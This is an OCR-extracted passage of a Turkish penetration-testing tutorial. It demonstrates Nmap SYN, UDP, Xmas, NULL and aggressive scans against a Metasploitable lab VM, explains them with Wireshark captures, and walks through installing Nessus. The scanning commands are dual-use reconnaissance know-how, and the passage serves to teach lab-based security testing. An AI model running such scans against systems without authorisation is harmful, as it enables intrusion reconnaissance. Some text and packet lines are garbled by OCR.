Host is up (0.00042s latency).
PORT STATE SERVICE

21/tcp open ftp

MAC Address: 08:00:27:C5:8A:E5 (Oracle VirtualBox virtual
NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.07
seconds

Simdi de Wireshark ile ilgili paket hareketlerini gorelim. Wireshark paket
yakalama programiyla yukaridaki nmap taramasi trafigini yakaladigimizda
asagidaki 3-4-5-6 adimlari olusuyor. Dikkat ederseniz 6nce Kali’den
(10.10..56.1) SYN paketi Metasploitable’a (10.10.56.2) gidiyor. Sonra
“10.10.56.2 aldim” seklinde SYN/ACK olarak cevap veriyor. Buna karsilik
10.10.56.1 ACK ile tekrar cevap veriyor. Gordugunuz gibi bir TCP baglantisi
saglaniyor.




File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help
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Filter: Expression... Clear Apply Save

No. Time Source Destination Protocol Length Info
1 0.000000000 CadmusCo_S52:01:00 Broadcast 42 Who has 10.10.56.27 Tell 10.10.56.1
2 0.001102000 CadmusCo_c5:8a:e5 CadmusCo_52:01:00 ARP 60 10.10.56.2 1s at 08:00:27:c5:8a:e5
3 0.003649000 10.10.56.1 10.10.56.2 TCP 74 58818-21 [SYN] Seq=0 Win=29200 Len=0 MSS=1460 SACK_PERM=1 TSval=267117 TSec
4 0.004100000 10.10.56.2 10.10.56.1 TcP 74 21-58818 [SYN, ACK] Seq=0 Ack=1 Win=5792 Len=0 MSS=1460 SACK_PERM=1 TSval=:
S 0.004123000 10.10.56.1 10.10.56.2 TCP 66 58818-21 [ACK] Seq=1 Ack=1 Win=29696 Len=0 TSval=267117 TSecr=1069

6 0.004191000 10.10.56.1 6 5881821 [RST, ACK] Seq=1 Ack=1 Win=29696 Len=0 TSval=0 TSecr=1069

7 23.57822700 10.10.56.2 10.10.56.255 NBNS 92 Name query NB WORKGROUP<ld>

Nmap SYN taramasi:

Nmap’te en ¢ok kullanilan tarama seklidir. Eger -s opsiyonuyla tarama tipi
belirtmezseniz nmap bu tarama tipini kullanir. TCP taramasindan daha hizhdir
ve tespit edilme imkani daha azdir; ¢clinki bu taramada baglanti tam olarak
saglanmadan bitirilir. Detaylandiracak olursak, dnce ilgili porta bir SYN paketi
gonderilir. Bunu alan bilgisayar SYN/ACK olarak cevap verir. Bu cevaptan sonra
tarama yaptigimiz bilgisayardan baglantiyi tamamlayacak ACK paketi
gonderilmez ve yerine RST (reset / baglantiyi sifirlama) paketi gonderilir.
Boylelikle tam bir baglanti olusmadigi igin loglanma ihtimali azalir ve hizimiz da
artar.

Kullanacagimiz parametre “-sS” olacak.

# nmap -sS 10.10.56.2

Starting Nmap 7.00 ( https://mmap.org ) at 2015-12-30 17:21
EET

mass_dns: warning: Unable to determine any DNS servers.
Reverse DNS is disabled. Try using --system-dns or specify wvalid
servers with --dns-servers

Nmap scan report for 10.10.56.2
Host is up (0.00017s latency).
Not shown: 977 closed ports
PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh




23/tcp open telnet

25/tcp open smtp

53/tcp open domain

80/tcp open http

111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec

513/tcp open login
514/tcp open shell
1099/tcp open rmiregistry
1524 /tcp open ingreslock
2049/tcp open nfs

2121 /tcp open ccproxy-ftp
3306/tcp open mysql

5432 /tcp open postgresql
5900/tcp open vnc
6000/tcp open X11
6667/tcp open irc
8009/tcp open ajpl3
8180/tcp open unknown

MAC Address: 08:00:27:C5:8A:E5 (Oracle VirtualBox virtual
NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds

Simdi de sadece 23 numarali portu deneyelim ve Wireshark’ta yakalanan
paketlerin nasil gorindigine bakalim.




# nmap -sS -p 23 10.10.56.2

Starting Nmap 7.00 ( https://mmap.org ) at 2015-12-30 17:22
EET

mass_dns: warning: Unable to determine any DNS servers.
Reverse DNS is disabled. Try using --system-dns or specify valid
servers with --dns-servers

Nmap scan report for 10.10.56.2
Host is up (0.00047s latency).
PORT STATE SERVICE

23/tcp open telnet

MAC Address: 08:00:27:C5:8A:E5 (Oracle VirtualBox virtual
NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.12 seconds

Wireshark sonucunda gorildigi Gzere Kali’den (10.10.56.1) SYN paketi
Metasploitable’a (10.10.56.2) gidiyor. Sonra 10.10.56.2 ‘aldim’ seklinde
SYN/ACK olarak cevap veriyor. Buna karsilik 10.10.56.1 RST ile baglantiyi
sifirliyor.

Nmap UDP taramasi:

Nmap’te simdi de TCP yerine UDP ile tarama yapacagiz. UDP, TCP gibi bir
baglanti garantisi vermez. Paket alinip islense bile karsi taraf hicbir cevap
vermeyebilir. Bu ylzden kapali port bilgileri kesin degildir. Yine de agik olan ve
faydalanabilecegimiz bir UDP portunu gézden kagirmamak igin bu taramayi
unutmamak gerekir.




Kullanacagimiz parametre “-sU” olacak. Asagida gordigliniz gibi UDP
taramasi ¢ok daha uzun siirtiyor. SYN taramasi 13 saniye civarinda stirerken
UDP 1031 saniye stirdli. Ayrica TCP ve SYN taramalarinda tespit edemedigimiz
137 numarali portu da bulmus olduk.

# nmap -sU 10.10.56.2

Starting Nmap 6.45 ( http://nmap.org ) at 2014-05-14 18:26
EEST

Nmap scan report for 10.10.56.2

Host is up (0.00043s latency).

Not shown: 949 closed ports, 47 open|filtered ports
PORT STATE SERVICE

53/udp open domain

111/udp open rpcbind

137/udp open netbios-ns

2049 /udp open nfs

MAC Address: 08:00:27:C5:8A:E5 (Oracle VirtualBox virtual
NIC)

Nmap done: 1 IP address (1 host up) scanned in 1031.20
seconds

Simdi Wireshark ile UDP paketi detaylarini inceleyelim. Agik portlardan DNS
sorgusu icin olan 53 portuna UDP taramasi yapacagiz.

# nmap -sU -p 53 10.10.56.2

Starting Nmap 7.00 ( https://nmap.org ) at 2015-12-31 10:36
EET

mass_dns: warning: Unable to determine any DNS servers.




Reverse DNS is disabled. Try using --system-dns or specify valid
servers with --dns-servers

Nmap scan report for 10.10.56.2
Host is up (0.00047s latency).
PORT STATE SERVICE

53/udp open domain

MAC Address: 08:00:27:C5:8A:E5 (Oracle VirtualBox virtual
NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.11
seconds

Asagida tcguincl ve dordinci adimlarda da gorildugi gibi 10.10.56.1’den bir
UDP paketi 10.10.56.2’ye gidiyor. 10.10.56.2 ise bu sorguya cevap veriyor.
Boylelikle acik bir port oldugunu anhyoruz.

Time Source Destination Protocol Length Info
1 0.000000000 CadmusCo_52:01:00 Broadcast ARP 42 who has 10.10.56
2 0.000471000 CadmusCo_c5:8a:e5 CadmusCo_52:01:00 ARP 60 10.10.56.2 1s at
3 0.004175000 10.10.56.1 10.10.56.2 DNS 54 Server status rec
4 0.004551000 10.10.56.2 10.10.56.1 DNS 60 Server status rec

Nmap Xmas taramasi:

Nmap’te “Xmas tree” (Noel agaci) taramasi olarak isimlendirilen bu tarama
turinde standart olmayan bir paket yapisi kullaniyor. Noel agacindaki gibi bir
surd 1s18In yanmasina benzer sekilde ¢ ayri paket tipinin segili olmasindan
Oturl bu tarama tirtne Noel agaci deniyor . Bu paket tipleri FIN, PSH ve
URG’dir.

Simdi Xmas paketi gonderdigimizdeki davranis sekline bakalim. Amacimiz
hangi portun acik oldugunu tespit etmek. Eger taranan hedef TCP’deki
standartlari kullanan bir sistemse acik portlar Xmas paketine cevap vermez,
kapali portlar Xmas paketine RST, ACK cevabi verir.



Yukaridaki anlattiklarimizi dogrulamak icin bir kapali, bir acik porta tarama
yapalim. Daha 6nceki taramalarimizda 53 portunun acik, 54 portunun kapali
oldugunu gormustik. Asagidaki komutta ilgili portlara “-sX” parametresini
kullanarak tarama yapacagiz.

# nmap -sX -p 53-54 10.10.56.2

Starting Nmap 7.00 ( https://nmap.org ) at 2015-12-31 10:40
EET

mass_dns: warning: Unable to determine any DNS servers.
Reverse DNS is disabled. Try using --system-dns or specify wvalid
servers with --dns-servers

Nmap scan report for 10.10.56.2
Host is up (0.00040s latency).
PORT STATE SERVICE

53/tcp open|filtered domain
54/tcp closed xns—-ch

MAC Address: 08:00:27:C5:8A:E5 (Oracle VirtualBox virtual
NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.33 seconds

Yukarida gordiigiiniiz gibi 53 icin acik, 54 icin kapali sonucunu verdi. Simdi
de Wireshark paket yakalama sonuglarina bakalim:

Time Source Destination Protocol Length Info

1 0.000000000 CadmusCo_52:01:00 Broadcast 42 who has 10.10.56.27 Tell 10.
2 0.000405000 CadmusCo_c5:8a:e5 CadmusCo_52:01:00 ARP 60 10.10.56.2 1s at 08:00:27:c5:!

Yukarida bizi ilgilendiren satirlar G¢lincli, dordlinci ve besinci satirlar.

Uclincii satirda 53. porta ve dérdiincii satirda 54. porta FIN, PSH, URG paketi



gonderiliyor. Besinci satirda ise kapali olan 54 portu RST, ACK ile cevap veriyor.
Bu detaylar da anlattigimiz calisma seklini dogruluyor.

Nmap NULL taramasi:

Nmap’te NULL taramasiyla hicbir paket tipi secmeden génderme yapilir.
Calisma mantigi XMAS ile aynidir. Bundan dolayi tekrar detaya girmeden
ornege geciyoruz:

# nmap -sN -p 53-54 10.10.56.2

Starting Nmap 7.00 ( https://nmap.org ) at 2015-12-31 10:45
EET

mass_dns: warning: Unable to determine any DNS servers.
Reverse DNS is disabled. Try using --system-dns or specify valid
servers with --dns-servers

Nmap scan report for 10.10.56.2
Host is up (0.00048s latency).
PORT STATE SERVICE

53/tcp open|filtered domain
54/tcp closed xns—-ch

MAC Address: 08:00:27:C5:8A:E5 (Oracle VirtualBox virtual
NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.31 seconds

Yukarida gordiigiiniiz gibi yine ayni sekilde cevap aldik.

S V. /0¥L0DUUU  LauliusSLu_DLIiulivw progucasu Ary 4L WU Mdas 1. 1U.00. &0 IE8LL 1V, 1V.D0. 1

4 0.770042000 CadmusCo_c5:8a:eS CadmusCo_52:01:00 ARP 60 10.10.56.2 1s at 08:00:27:c5:8a:e5

S 0.775062000 10.10.56.1 10.10.56.2 TCP 54 57834-53 [<None>] Seq=1 Win=1024 Len=0

6 0.775143000 10.10.56.1 10.10.56.2 TCP 54 57834-54 [<None>] Seq=1 Win=1024 Len=0

7 0.775471000 .10.56.2 .10.56.1 50 54-+57834 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
8 1.500972000 10.10.56.1 10.10.56.255 NBNS 92 Name query NB WPAD<0O>

9 1.876198000 10.10.56.1 10.10.56.2 TCP 54 57835453 [<None=] Seq=1 Win=1024 Len=0

10 2.314682000 10.10.56.1 10.10.56.255 NBNS 92 Name query NB WPAD<0O>



Simdi de paket detaylarina bakalim. Yukarida yine 53 ve 54 portlarina birer
paket gonderdi (besinci ve altinci satirlar). Ama paket detaylarinda bu sefer
[<None>] yaziyor. Sonug olarak kapali olan 54 portu RST, ACK ile cevap veriyor
(yedinci satir).

Nmap -A taramasi:

Nmap “-A” ile acik portlarin taranmasi, isletim sistemi ve versiyon tespiti,
aciklik taramasi, traceroute (ag Gzerinde izlenen yolun detaylari) gibi bircok
islem bir arada yapilir.

Gordugliniiz gibi nmap ile birgok detay bilgiye ulasabiliyoruz. Hem hangi
portta hangi hizmetin calistigl ve bunun versiyon tahmini, hem isletim sistemi
ve versiyon tahmini, hem olabilecek acikliklara hem ilgili adrese erismeye
calisirken hangi IP’ler lzerinden giderek hedefe ulastigimiz seklinde bircok
detaya ulasabiliyoruz. Simdi denememizi Metasploitable lzerinde yapalim.
Yazacagimiz komut “nmap -A IP” olacak.

# nmap -A 10.10.56.2

Starting Nmap 7.00 ( https://nmap.org ) at 2015-12-31 10:48
EET

mass_dns: warning: Unable to determine any DNS servers.
Reverse DNS is disabled. Try using --system-dns or specify valid
servers with --dns-servers

Nmap scan report for 10.10.56.2

Host is up (0.00050s latency).

Not shown: 977 closed ports

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 2.3.4

| ftp-anon: Anonymous FTP login allowed (FTP code 230)

22/tcp open ssh OpenSSH 4.7pl Debian 8ubuntul (protocol
2.0)




| ssh-hostkey:

| 1024 60:0f:cf:el:c0:5f:6a:74:d6:90:24:fa:cd4:d5:6c:cd (DSA)
| 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:01:24:3d:e8:£3 (RSA)
23/tcp open telnet Linux telnetd

25/tcp open smtp Postfix smtpd

| smtp-commands: metasploitable.localdomain, PIPELINING, SIZE

10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME,
DSN,

| ssl-cert: Subject: commonName=ubuntu804-
base.localdomain/organizationName=0COSA/stateOrProvinceName=Ther
e is no such thing outside US/countryName=XX

| Not valid before: 2010-03-17T14:07:45

| Not valid after: 2010-04-16T14:07:45

| ssl-date: 2015-12-31T08:48:57+00:00; Os from scanner time.
53/tcp open domain ISC BIND 9.4.2

| dns-nsid:

| bind.version: 9.4.2

80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
| http-server-header: Apache/2.2.8 (Ubuntu) DAV/2

| http-title: Metasploitable2 - Linux

111/tcp open rpcbind 2 (RPC #100000)

| rpcinfo:

| program version port/proto service

| 100000 2 111/tcp rpcbind

| 100000 2 111/udp rpcbind

| 100003 2,3,4 2049/tcp nfs

| 100003 2,3,4 2049/udp nfs

| 100005 1,2,3 47942 /tcp mountd

| 100005 1,2,3 54970 /udp mountd




| 100021 1,3,4 46760/udp nlockmgr
| 100021 1,3,4 58637/tcp nlockmgr
| 100024 1 39515/udp status

| 100024 1 54369/tcp status

139/tcp open netbios-ssn Samba smbd 3.X (workgroup:
WORKGROUP)

445/tcp open netbios-ssn Samba smbd 3.X (workgroup:
WORKGROUP)

512/tcp open exec netkit-rsh rexecd
513/tcp open login?

514/tcp open shell Netkit rshd

1099/tcp open Jjava-rmi Java RMI Registry
1524 /tcp open shell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)

2121 /tcp open ftp ProFTPD 1.3.1

3306/tcp open mysql MySQL 5.0.5la-3ubuntub
| mysgl-info:

| Protocol: 53

| Version: .0.51la-3ubuntub

| Thread ID: 8

| Capabilities flags: 43564

| Some Capabilities: Support4lAuth, SupportsTransactions,
LongColumnFlag, SwitchToSSLAfterHandshake, Speaks4lProtocolNew,
SupportsCompression, ConnectWithDatabase

| Status: Autocommit

| Salt: akwhb>w Z#>LCN<"2spYJ

5432 /tcp open postgresqgl PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc VNC (protocol 3.3)

| vnc-info:




| Protocol version: 3.3

| Security types:

| Unknown security type (33554432)
6000/tcp open X11 (access denied)
6667/tcp open irc Unreal ircd

| irc-info:

| users: 1

| servers: 1

| lusers: 1

| lservers: O

| server: irc.Metasploitable.LAN

| version: Unreal3.2.8.1. irc.Metasploitable.LAN
| uptime: 0 days, 0:21:11

| source ident: nmap

| source host: EBD3CF61.B5A451AF.59935C67.IP

| error: Closing Link: tebnlrbgn[10.10.56.1] (Quit:
tebnlrbagn)

8009/tcp open ajpl3 Apache Jserv (Protocol vl1.3)

| ajp-methods: Failed to get a valid response for the OPTION
request

8180/tcp open http Apache Tomcat/Coyote JSP
engine 1.1

| http-favicon: Apache Tomcat
| http-server-header: Apache-Coyote/1.1
| http-title: Apache Tomcat/5.5

MAC Address: 08:00:27:C5:8A:E5 (Oracle VirtualBox virtual
NIC)

Device type: general purpose

Running: Linux 2.6.X




OS CPE: cpe:/o:linux:1linux kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop

Service Info: Hosts: metasploitable.localdomain, localhost,
irc.Metasploitable.LAN; 0OSs: Unix, Linux; CPE:
cpe:/o:linux:linux kernel

Host script results:

| nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user:
<unknown>, NetBIOS MAC: <unknown> (unknown)

| smb-os-discovery:

| 0S: Unix (Samba 3.0.20-Debian)
| NetBIOS computer name:

| Workgroup: WORKGROUP

| System time: 2015-12-31T03:48:57-05:00

TRACEROUTE
HOP RTT ADDRESS
1 0.50 ms 10.10.56.2

OS and Service detection performed. Please report any
incorrect results at https://nmap.org/submit/

Nmap done: 1 IP address (1 host up) scanned in 50.44 seconds

Nmap ile ilgili kisim burada bitiyor. Size tavsiyem nmap’i 6grenmek igin
internet Gizerinden de arastirma yapmaniz ve baska denemeler yapmaniz.
Ayrica zenmap uygulamasini da deneyerek hangi durumda hangi parametreleri
calistirdigina bakabilirsiniz. Zenmap’e erismek icin Terminal’de asagidaki

komutu yazmaniz yeterli.



#zenmap

Nessus

Nessus zafiyet taramasinda en sevdigim Uriinlerden birisi. Ucretsiz
versiyonuyla en fazla 16 IP adresini tarayabiliyorsunuz. Bizim denemelerimiz
icin 16 IP yeterli bir sayi. Nessus’ta daha sonra gosterecegim lzere deneme
sirimu icin deneme lisans anahtari almaniz gerekecek.

Nessus kurulumu:

Nessus’u kurmak icin 6nce indirmemiz gerekecek. Eger Kali makineniz “host
only” agda ise tekrar NAT agina almaniz gerekecek. VirtualBox’ta ag ayarlariyla
ilgili bolime bakarak nasil yapildigini hatirlayabilirsiniz.

Ek Bilgi:

Eger bilgisayariniz calisir vaziyette iken VirtualBox'ta ag ayarlarini degistirirseniz
network ayarlariniz Kali’de eski halinde kalacagi igin dogru ¢alismayabilir ve DHCP
sunucusundan alacaginiz IP’yi yenilemeniz gerekebilir. Bunu yapmak icin Terminal’de
calistirmaniz gereken komutlar sirasiyla asagida verilmistir.

# dhclient -r

# dhclient ethO

http://www.tenable.com/products/nessus/select-your-operating-system

adresinden Nessus’u indirebiliriz. indirebilecegimiz siiriim ise “Nessus Home”
olacak. “Nessus Home” kisminda “Download”a tikliyoruz ve yeni bir sayfa


http://www.tenable.com/products/nessus/select-your-operating-system

geliyor. Gelen sayfada isletim sistemini seciyoruz. Linux secenegine tikliyoruz ve
alt kirimlar geliyor. Resimde de goriildiigl Gzere bizim sececegimiz versiyon
64-bit Debian.

\,/;\/\ tenable Products Try Bu

=27 network security

Overview What's New Features Cloud Manager Professional Downilc

Please Select Your Operating System Market Defining Vulnerab

s Microsoft Windows Nessus is the most trusted vulnerability sci

security analysts. Users can schedule scar

» MacOSX wizards to easily and quickly create policie

e SuppOns -
v Linux

including operating systems, network devi

Debian 6 and 7 / Kali Linux 1 AMD64 tablets/phones, web servers and critical in

File: Nessus-6.5.4-debian6_amd64.deb

MD5: 544e91f5a2ce9lcdfce6bala780411e0 Key features include:

Debian 6 and 7 / Kali Linux 1i386(32-bit) * High-Speed Asset Discovery
File: Nessus-6.5.4-debian6_i386.deb * Vulnerability Assessment

MD5: b356bfebccd2c92b6b9566dd361323cd « Malware/Botnet Detection

Red Hat ES 5 (64-bit) / CentOS 5 / Oracle Linux 5 (including Unbreakable ¢ Configuration & Compliance Auditing
Enterprise Kernel)

File: Nessus-6.5.4-es5.x86_64.rpm
MD5: c48002d761daa791198c2c2de4ad7/3db Documentation | Video Tutorials | Discussi

* Scanning & Auditing of Virtualized &

Red Hat ES 5 i386(32-bit) / CentOS 5 / Oracle Linux 5 (including

e e L e P e 2 Wil

lgili secenege tikladigimizda karsimiza cikan pencereyi “Agree” butonunu
secerek geciyoruz. Sonraki secenekler de “Save File” ve “Save” olacak. indirme

_III

bittiginde “Downloads” dizininde “Is -1” komutuyla asagidaki gibi Nessus

kurulum dosyasini gormemiz gerekiyor.

:~# cd Downloads/
:~/Downloads# 1s -1
total 71884

-rwxr-x--- 1 root root 22753368 Dec 31 10:54 Nessus-6.5.4-debian6 amd64.deb
3 root root 4096 Dec 21 16:15 tor-browser_en-US
-rw-r--r-- 1 root root 50846816 Dec 21 15:51

indirdigimiz .deb paketini kurmak icin yazacagimiz komut “dpkg --install
dosya_adi”. Kurulumla ilgili detaylar asagida gorilliyor. Ayrica Nessus’u nasil
baslatacagimizla ilgili detaylar da yer aliyor.



:~/Downloads# dpkg --install Nessus-6.5.4-debian6 amd64.deb
Selecting previously unselected package nessus.
(Reading database ... 353718 files and directories currently installed.)
Preparing to unpack Nessus-6.5.4-debian6_amd64.deb ...
Unpacking nessus (6.5.4)
Setting up nessus (6.5.4)
Unpacking Nessus Core Components...
nessusd (Nessus) 6.5.4 [build M20044] for Linux
Copyright (C) 1998 - 2015 Tenable Network Security, Inc

Processing the Nessus plugins...
[ AR R R R R

A1l plugins loaded (lsec)

- You can start Nessus by typing /etc/init.d/nessusd start
- Then go to https://kali:8834/ to configure your scanner

Processing triggers for systemd (215-17+deb8ul)

Nessus’u ilk defa ¢alistirma:

Nessus’u ilk defa calistirmak icin yazacagimiz komut “/etc/init.d/nessusd
start” ama her seferinde servisi tekrar baslatmak zorunda kalmamak igin bir
defalik acgilista baslatmayi ayarlamamiz gerekiyor. Ayrica Nessus’u agtiktan
sonra Uyelikle bir Giriin anahtari alip girmemiz de gerekecek. Oncelikli olarak
servisi baslatiyoruz:

# /etc/init.d/nessusd start

SStarting Nessus : .

Yukarida gordiigiiniiz gibi Nessus’un baslatildigina dair bir mesaj aldik. Simdi
Nessus’un calisip calismadigini kontrol edelim.

internet gezginimiz Iceweasel’i acarak https://localhost:8834 adresine

gidiyoruz. Asagida gorildigl tzere baglantinin glvenilir olmadigini sdyleyen bir
ekran gelecek. Bunu “Add Exception” ve sonrasinda “Confirm Security


https://localhost:8834/

Exception” secenekleriyle geciyoruz. Daha sonra gelen ekranda “Continue”

digmesine tikliyoruz.

(d Kali Linux [Running] - Oracle VM VirtualBox

e a—

Applications ¥ Places ¥

kid Untrusted Connection % | #

€ t localhost

Untrusted Connectio

[ Most Visited v [l Offensive Security N Kali Linux "% Kali Docs "% Kali Tools !!Exploit—DB W Aircrack-ng

This Connection is Untrusted

You have asked Iceweasel to connect securely to lo
connection is secure.

Normally, when you try to connect securely, sites v
are going to the right place. However, this site's ide

What Should | Do?

If you usually connect to this site without problems
impersonate the site, and you shouldn't continue.

Get me out of here!

Technical Details

‘I Understand the Risks

If you understand what's going on, you can tell Icew

if you trust the site, this error could mean that son

Don't add an exception unless you know there's a g
identification.

Add Exception...

Simdi karsimiza “Account Setup” (Hesap Olusturma) ekrani geldi. Burada

Nessus’u kullanmak igin gereken kullanici adi ve sifre bilgilerini giriyoruz. Bu

bilgileri daha sonra sikinti yasamamak icin not etmeniz faydali olacaktir.

Kullanici adi ve sifreyi asagidaki gibi girip “Continue”

butonuna tikhyoruz.



Account Setup

In order to log in to this scanner, a "System Administrator" account must be created.
scanner—with the ability to create/delete users, stop running scans, and change the

Username admin
Password eoccccee
Confirm Password ITITTIITY]

Bundan sonraki ekran, aktivasyon kodu istiyor. Su an elimizde bu kod
olmadigi icin aktivasyon isini yeni bir sayfada halledecegiz. Gidecegimiz adres:
http://www.tenable.com/products/nessus/nessus-plugins/obtain-an-

activation-code. Burada “Nessus Home” altindaki “Register Now” secenegine

tikhyoruz. Asagidaki gibi gelen sayfadaki bilgileri doldurup “Register” ile devam
ediyoruz.


http://www.tenable.com/products/nessus/nessus-plugins/obtain-an-activation-code
http://www.tenable.com/products/nessus/nessus-plugins/obtain-an-activation-code

Nessus Home

{g@ NeSSUS Home Register for an Activation

Code
Nessus® Home allows you to scan your personal home network (up to 16 IP addresses per scanner) with First Name *
the same high-speed, in-depth assessments and agentless scanning convenience that Nessus
subscribers enjoy.
Please note that Nessus Home does not provide access to support, allow you to perform compliance Last Name *
checks or content audits, or allow you to use the Nessus virtual appliance. If you require support and
these additional features, please purchase a Nessus subscription.
Nessus Home is available for personal use in a home environment only. It is not for use by any Email *
commercial organization.

Country*

Select Country |z|

[C] Check to receive updates from Tenable

[[11 agree to the terms of service

Sonraki sayfada aktivasyon kodunun e-posta adresinize gonderildigine dair
bilgi veriyor. Siradaki islem e-postamiza gidip aktivasyonu tamamlamak.
Asagida goruldugul uzere e-postama ilgili bilgiler geldi.

Tenable Nessus Home Activation Code Inbox  x

Nessus Registration <noreply@nessus.org>
to me |~

Thank you for registering your Nessus scanner with Tenable. The Nessus Home subscription will keep your Nessus scanner up to date with the lates
(Note: If you use Nessus in a professional capacity, you need a Nessus subscription.)

Your activation code for the Nessus Home is
8DE4- {23

This is a one-time code. If you un-install and then re-install Nessus, you will need to register the scanner again and receive another Activation Code.

Ve simdi yapmamiz gereken ‘kopyala-yapistir’ ile aktivasyon kodunu girmek
ve “Continue” butonuna tiklamak. Burada dikkat etmemiz gereken nokta,
aktivasyon kodunu girerken makinemizin internete erisebiliyor olmasi.



Product Registration O Nessus

As information about new vulnerabilities is discovered and released into the public domain, Tenable's research staff
releases plugins that enable Nessus to detect their presence. These plugins contain vulnerability information, algorithms
to test for the presence of the issue, and a set of remediation actions. Registering this scanner will grant you access to
download these plugins.

Registration Nessus (Home, Professional or Manager) v

Activation Code

Back Custom Settings

Daha sonra “Setup Completed” yazisini goreceksiniz ve Nessus gerekli
guncellemeleri almak (zere indirmelere baslayacak. Asagidaki gibi bir ekran
goreceksiniz. Bu adimda da sadece bekliyoruz.

Nessus




islemler basariyla tamamlandiginda karsimiza kullanici adi ve sifre soran
ekran geliyor.

{5@ Nessus

home
1 |

i

Kullanici adini ve sifreyi girip Nessus’un calisma ekranina geliyoruz.
Karsimizda asagidaki gibi bir ekran olmasi lazim:

INT33U3 1 IVINES 7 YLans  Iwcweastu

l," “) Nessus Home / Scans X% \ *

€ ) @ nttps://localhost:8834/4/scans

%1 Most Visited ¥ 'IlOffensive Security \Kali Linux "\Kali Docs \Kali Tools nExploit-DB ‘Aircra:k-ng

@ NeSSuS Scans Policies

Scans

My Scans
This folder is empty.
Trash

All Scans

New Folder



Simdi tekrar Terminal’e dontp Nessus’un otomatik baslamasini saglayan
komutu giriyoruz. Yazacagimiz komut “update-rc.d nessusd enable” olacak.

# update-rc.d nessusd enable

update-rc.d: using dependency based boot sequencing




Nessus ile tarama:

Nessus ile yapacagimiz taramalarda daha dnce tespit ettigimiz hedef IP
adreslerini kullanacagiz. Herhangi bir sirkette izinli olarak tarama yapmiyorsak
kendi belirledigimiz hedefler olarak Metasploitable ve Windows XP SP1’i
kullanabiliriz. Ayrica herhangi bir sirketin aginda tarama yapiyorsaniz size
verilen araliklarla ilgili taramalari da Nessus Gzerinden yapabilirsiniz.

Nessus gibi uygulamalari ilk kullanimda ve sonrasinda sik¢a glincellemekte
fayda var. Bundan dolayi programin arayliziine girmeden dnce Terminal’de
asagidaki komutu calistirarak glincellemeleri almasini saglayabilirsiniz.
Guncellemelerde dikkat etmeniz gereken internet baglantisinin mevcut
olmasidir. Eger Kali bilgisayarinizin ag ayarlari “Host only network”te ise
internete cikisi olmayacaktir. Ag ayarini “NAT” yapip glincellemeleri alip tekrar
eski haline getirmeniz ve ondan sonra hacking laboratuvarimizdaki adreslere
saldirmaniz uygun olacaktir.

/opt/nessus/sbin/nessuscli update

Daha 6nce de belirttigimiz gibi Nessus araylziine erisim icin internet gezgini
yazilimimizdan https://localhost:8834 adresine erisip belirledigimiz kullanici

adini ve sifreyi girmemiz gerekecek. Giristen sonra asagidaki gibi bir ekran
acilacak. Bu ekranda ilk karsimiza gelen “Scans” (Taramalar) bélimu ve su anda
burasi bos goriiniiyor. ilk taramamizi yapmak icin dncelikli olarak bir tarama
politikasi olusturmamiz gerekecek.


https://localhost:8834/

/-"‘ “) Nessus Home / Scans % ‘\\ &+

g € 8 https://localhost:8834/4/scans

%Most Visited v JllOffensive Security W\ Kali Linux " Kali Docs "% Kali Tools EBExploit-DB W Aircrack

@ NeSSUS Policies

Scans

My Scans

Trash
All Scans

New Folder

) Nessus Home / Scans ]
« [ @ https://localhost:8834/html5.html#/scans ¥ e, Imv sus home use activatin'@.‘ J\} @

{\f\) NESSUS Scans Schedules Policies admin w

Scans Upload

My Scans
This folder is empty.
Trash

All Scans

New Folder

Nessus’ta tarama politikasi olusturma:



Olusturacagimiz ilk tarama politikasi yerel ag taramasiyla ilgili olacak. Ne de
olsa su anda kapali bir laboratuvar ortaminda bulunan hedeflerimizi
tarayacagiz. Ust meniiden “Policies” secenegini tiklayarak ilgili ekrana gidiyoruz.
Burada “New Policy” (Yeni Politika) secenegine tikliyoruz.

NESSuUsS mome /J r

) Nessus Home / Polici... % | ¥
€ | & https://localhost:8834/4#/policie

51 Most Visited ¥ “Offensive Security \Kali Linux ~\\Kali Docs \Kali Tools uExploit-DB ‘Aircrack-ng

@ Nessus Scans Policies
Policies
All Policles

No policies have been createc

Gelen ekranda “Basic Network Scan” (Temel Ag Taramasi) kismini segiyoruz.
Fakat asagida goreceginiz gibi bu ekranda baska bircok segenek var:

- Host Discovery: Bu tarama tipi bizim nmap’te yaptigimiz gibi verilen
araliktaki canli IP’leri ve acgik portlari bulmamizi saghyor.

- Basic Network Scan: Verilen IP araligindaki adreslerde zafiyet taramasi
yapiyor.

- Credentialed Patch Audit: Kullanici adini ve sifresini bildiginiz sistemlerde
eksik yama analizi yapiyor.

- Windows Malware Scan: Windows sistemlerde zararli yazilim taramasi
yapmanizi sagliyor.

- Web Application Tests: Web uygulamalarindaki zafiyetleri tariyor.



- Mobile Device Scan: Cep telefonu gibi mobil cihazlari taramak icin
kullanihiyor. (Parali Gyelik istiyor.)

- Offline Config Audit: Bir ag cihazinin ayarlarini indirip Nessus’ta ilgili cihaza

baglanmadan degerlendirme yapabilmenizi sagliyor. (Parali tiyelik istiyor.)

- Advanced Scan: Herhangi bir sablon kullanmadan kendi politikanizi

olusturmanizi sagliyor.

Gorduglinliz gibi bircok faydali secenek var ve hepsini bilmemiz yeri
geldiginde faydali olacaktir.

Policy Library

%, & A n A ® =N

Advanced Scan Audit Cloud Infrastructure Bash Shelishock Detection ~ Basic Network Scan Credentialed Patch Audit GHOST (glibe) Detection Host Discovery Internal PCI Network Scan

o\ o\ 2\ =\ o\ a\ o =

